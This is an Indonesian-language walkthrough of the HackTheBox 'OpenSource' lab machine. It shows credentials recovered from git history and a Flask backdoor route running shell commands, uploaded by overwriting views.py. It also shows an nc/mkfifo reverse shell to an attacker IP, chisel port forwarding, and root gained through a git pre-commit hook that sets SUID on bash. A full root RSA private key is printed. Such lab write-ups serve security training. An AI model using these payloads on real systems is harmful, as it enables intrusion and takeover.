HackTheBox OpenSource Writeups

Kita mulai dengan memindai port mesin dengan nmap

❯ nmap 10.10.11.164
Nmap scan report for 10.10.11.164
PORT      STATE SERVICE
22/tcp   open     ssh
80/tcp   open     http
3000/tcp filtered ppp

Jika kami membuka web, server memberi tahu kami bahwa kami dapat mengunduh source code sehingga kami akan memberikannya unduhan

Gambar1

Kami membuka zip zip dan menemukan bahwa ada direktori .git, dan mencari di antara cabang dan komit, kami menemukan kredensial meskipun tidak berfungsi untuk ssh

❯ git branch
  dev
  public
❯ git log dev --oneline
c41fede (dev) ease testing
be4da71 added gitignore
a76f8f7 updated
ee9d9f1 initial
❯ git show a76f8f7
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
    updated
+ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+ "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
+ "http.proxyStrictSSL": false

Jika kita terus mencari di app/app/ ada file views.py yang menyimpan fungsi

app/app ❯ cat views.py
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

@app.route('/uploads/')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

Memandu kami dengan fungsi-fungsi di atas, kami dapat mendefinisikan fungsi kami sendiri dan menambahkannya di akhir untuk kemudian mengunggahnya dan menjalankan perintah

@app.route('/yupybackdoor')
def cmd():
    return os.system(request.args.get('cmd'))

Kami mengunggahnya dari http://10.10.11.164/upload tetapi kami akan mencegat dengan burpsuite dan mengubah rute ke “/app/app/views.py” untuk menimpa yang sekarang di mesin dan tekan maju

Gambar2

Jika semuanya berjalan dengan baik, fungsinya harus berfungsi, maka kami akan membuat shell terbalik dengan nc mkfifo, urlencoding apa yang dapat menyebabkan masalah

❯ curl 'http://10.10.11.164/yupybackdoor?cmd=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.10%201337%20>/tmp/f'

❯ sudo netcat -lvnp 1337
Connection received on 10.10.11.164
/app # whoami
root
/app # ifconfig
          inet addr:172.17.0.5

Kami memiliki shell sebagai root dalam wadah, tetapi sekarang kami memiliki koneksi ke port 3000 dari mesin nyata yang kami lihat disaring, jadi kami akan mengunggah pahat dan mengirim port ke mesin lokal kami

❯ chisel server --reverse --port 8000
2022/08/22 14:33:07 server: Reverse tunnelling enabled
2022/08/22 14:33:07 server: Listening on http://0.0.0.0:8000
2022/08/22 14:37:20 server: session#1: tun: proxy#R:3000=>172.17.0.1:3000: Listening

/app # ./chisel client 10.10.14.10:8000 R:3000:172.17.0.1:3000
2022/08/22 14:37:20 client: Connecting to ws://10.10.14.10:8000
2022/08/22 14:37:21 client: Connected

Jika kita membuka localhost di browser pada port 3000 kita melihat panel gitea kita dapat menggunakan kredensial yang kita temukan di awal dev01:Soulless_Developer#2022

Gambar3

Sudah sebagai dev01 kita dapat melihat repositori “home-backup” yang memiliki beberapa kunci ssh yang dapat kita coba sambungkan

Gambar4

❯ ssh [email protected] -i id_rsa
dev01@opensource:~$ cat user.txt
d****************************6
dev01@opensource:~$

Mencari cara untuk meningkatkan hak istimewa yang dapat kita lihat dengan pspy bahwa root menjalankan tugas git setiap menit

CMD: UID=0    PID=20396  | git add .
CMD: UID=0    PID=20397  | git commit -m Backup for 2022-08-22
CMD: UID=0    PID=20398  | /usr/lib/git-core/git gc --auto
CMD: UID=0    PID=20400  | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
CMD: UID=0    PID=20399  | git push origin main

Di gtfobins kita melihat contoh menyalahgunakan pra-komit, kita dapat mencobanya dan setelah satu menit kita menjadi root

dev01@opensource:~$ echo "chmod u+s /bin/bash" >> ~/.git/hooks/pre-commit
dev01@opensource:~$ chmod +x !$
dev01@opensource:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
dev01@opensource:~$ bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
4****************************f
bash-4.4#

Kami juga menemukan id_rsa di direktori root sehingga kami dapat terhubung melalui ssh

bash-4.4# cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEAwwPG6v8jiKw488NGHm0b1HPclB7gIM7D1rASiaKimF8cKlv7
Nhqprrg39wAFerkxKJ/U/J5NMZpWFJ2Hl4b1mrHFo5e7p2urwIcJ40Y3wBPO1L62
S2UERAqlwuaxja1Uuus8xztAfQ9scYONxBA6YEOe+Arb5NDp37HoTq8/tBFSA4R4
bDGYwneZSDfJwJ9t0UwaBlpXs0+Tm77Dtx9s9Zj4thBvaGho93CkonXi5eBlgsCX
EAJZi22aZdJNcXDSgRtA9o8FSyNTd4hsTr+iYN9taiDnXCbaC2geXuEYWl8/FBTr
JXhBBuiIVeD3YhpuFah/LoLInh1E5HY6i7F7bkZBtWcowj39INswug8ijObeUiCo
SZuowSjgvJMstYv4NxRMt3UMNfqlbpIqMViLRNsVD+vHHm0WtJ/a0hk/dAb4Odft
YuRptDMsgwKhDqkU53J9ujif0pb/n8qeW/MjD+FyFJnv4R65JmqfLGaoPhjRihQu
EBlAh8KWQJOgIdiOn87dD/UR0BslD+lYCuuzI/ag0nZIzDhIO789rRCKTq9pAM4F
fkiwOh6eMmctf8rkaoAmcN97UncHTnb/wIeG487hecL5ruThpHuOqSlV3sKylORN
n6dl9bcRm5x+7UmWnMKlNpl7UtNaJ/f1SLOQzT2RBWJ9jlP5sA3zinMgKDECAwEA
AQKCAgA9718nlyxj5b6YvHXyh9iE2t89M6kfAkv0TSs2By74kYxSb7AS+NjXIq6z
hZA378ULD+gG6we9LzUTiwxbNYOfQ8JvOGtiurFrjfe39L8UA7Z2nrMqssRuD6uh
gL73Lgtw6fD9nXXXwiRA0PUfRcAkfpVoVZqMy0TbxJbxFnt25uFTOKk+Q2ouqOlH
pGAxCvFHvZGuXtbnnehVWHq0GAj030ZuHD4lvLNJkr7W0fXj6CaVJjFT5ksmGwMk
P2xVEO3qDwvMwpN9z5RcrDkpsXcSqSMIx7Zy7+vkH4c1vuuLGCDicdpUpiKQ3R0f
mTk4MQixXDg4P1UT0lvk6x+g6hc22pG9zfPsUY85hJ+LllPxt/mD4y7xckq7WWGH
dJz5EnvooFYGiytmDbSUZwelqNT/9OKAx/ZGV8Bmk/C30a02c4hlUnwbx7+kyz+E
DYrXX9srwm1gMj6Lw0GmXSVLlhhc2X2xc2H4RM8gKMKsMxHjR/eeXcaSJSefx6qY
/nOTlOQhxIl/EoIyAYrdqqRwtk67ZTcunVdDfuDvgBC2iblLTZYtyrwbd2rNc85Z
rx5puvBI33X9n/PVRwx+JnRf/ZFu+JPa0btA5BC0CeA57CzIHjL7QA1Yo2Mp7FEn
1e/x5s001+ArIBwXxSHgnxWKR6yLHTk4+1rgJoFlukHuuOeCeQKCAQEA6NKNNQde
efzSMym+wHh5XNNK7N86iD9lJdKzF6TPzb7e5Jclx3azlTNpDXgN+r8Rko05KCpz
zgYRNP33hNjaBowiuS13eZP3S85iA0e24DYn/SofQhBZNADEhcq4Y4cPlMQwSV9/
YtUaCiqkd4PvBLE10haT1llZOkhAOIno0vvjRWlQuagsLgfF76KZ95jYJgyE8DvM
+pHOM7Twl9yl57zcU/t+Pns0/PYieo+lzm64+KSy9dZ+g+SDyGmByeKs6wJTyG1d
nuMAezeUT8O2WASKKOcqAakekevBb7UqeL63l3KB4FbyICEU3wg+W+eP00TOxVcs
Ld2crNwJ2LngzwKCAQEA1m2zeme25DTpMCTkKU30ASj3c1BeihlFIjXzXc9o/Ade
383i8BmXC7N6SzUxNas6axxlNc+0jxdZiv9YJt/GGSI1ou0auP4SxG782Uiau+ym
pJ29D9B21LLTgqwfyuSnjHtg/jCMjQmZTguICSRHrRhnejCs8h+TTEdmmajB7t87
EKgGOWeRVS5rYv2MXzzJkIqc7BaUjd/4fdR39VKbPWJaiKCdxf3CqG+W7d61Su4I
g490YzF+VcFj5XwqM5NIpnzI+cKTKE8T2FbWgvMlv3urmHy2h7R179qBEIbaqt+s
O9bK29YILa4kuQ/0NpDHauJJyzmsyhEA3E+/cV2m/wKCAQBsiXt6tSy+AbacU2Gx
qHgrZfUP6CEJU0R8FXWYGCUn7UtLlYrvKc8eRxE6TjV2J4yxnVR//QpviTSMV7kE
HXPGiZ3GZgPEkc4/cL8QeGYwsA6EXxajXau4KoNzO8Yp39TLrYo1KmfgUygIhUiW
ztKmhVZp0kypKI4INZZ6xQ/dC8Avo6EWa+fsrYMA6/SLEJ3zXvK6a6ZrSX2vbTKc
GSjel5S/Mgbwac+R/cylBkJtsgBZKa6kHJJuOiGVVFpFG38xL6yPSyzR3VFkH8zs
QnjHH5ao6tsSWxz9OcK7qOFb2M0NtTwGsYG+qK1qLBWmEpViEDm0labq2t0nWIze
lAjRAoIBAAab8wA+2iBGkTluqamsQW0XuijPvVo8VSksyIeHsRCzmXUEf44u+7zc
l1RiG1YwJOjQQz5ZXJNcgOIL5Met9gkoSMbwz/YLvsBXO2vnFP3d2XURd5ZZMpBz
wpkwfPpf+doWo3KyRGLEfPku2c6OU7c+HVJi1bHQz1V2je8GiJO4RbXJuAdk7dHW
UHEIp5733K6b1yJfv8xvrtUSC3CAT1ChC3FSogpMPAe9CMXkK2pX0+NaNJgqGl7C
SzXzkcltLLwU9IzeNnLznQT6CDqZC/zO7wcQMQAVy9zMu1WrEmpZ4pElmbMU8cOW
roMVvs0/wSXGO8gLywufYotn2drArDkCggEBAL+6b5CykyS1R6icAe5ztF2o4BiZ
5KRf4TmH8fnm8quGKXqur/RdbM5xtTFFvrQ0roV3QNJfqb9SqC4Zm2URKfEFp1wq
Hc8eUHsFuVb/jEPpuQYIbDV6DzvJ2A5Jh2cOyTZNjJpE8KseAWuWpqLnCU2n7qmi
fh36jyH9ED6qBmmlPs7alXM1nYfEyG9BjIcvQgt9Tv3hEOrC9Kwm/fKxy9tEiTNf
GnmUCEKZSsgJ4y0py+bMomJKnMhDWGSjbB1RtBTMyz2K/KQ0EOkBAYbxQ+/MZu5G
21kLS+mSxwwKm5XWZk8fyw4pBhlrCVyuSBK7UlHJTcNDhzcxxzqW2KYACUQ=
-----END RSA PRIVATE KEY-----

❯ ssh [email protected] -i id_rsa
root@opensource:~# cat root.txt
4****************************f
root@opensource:~#

HTBOpenSource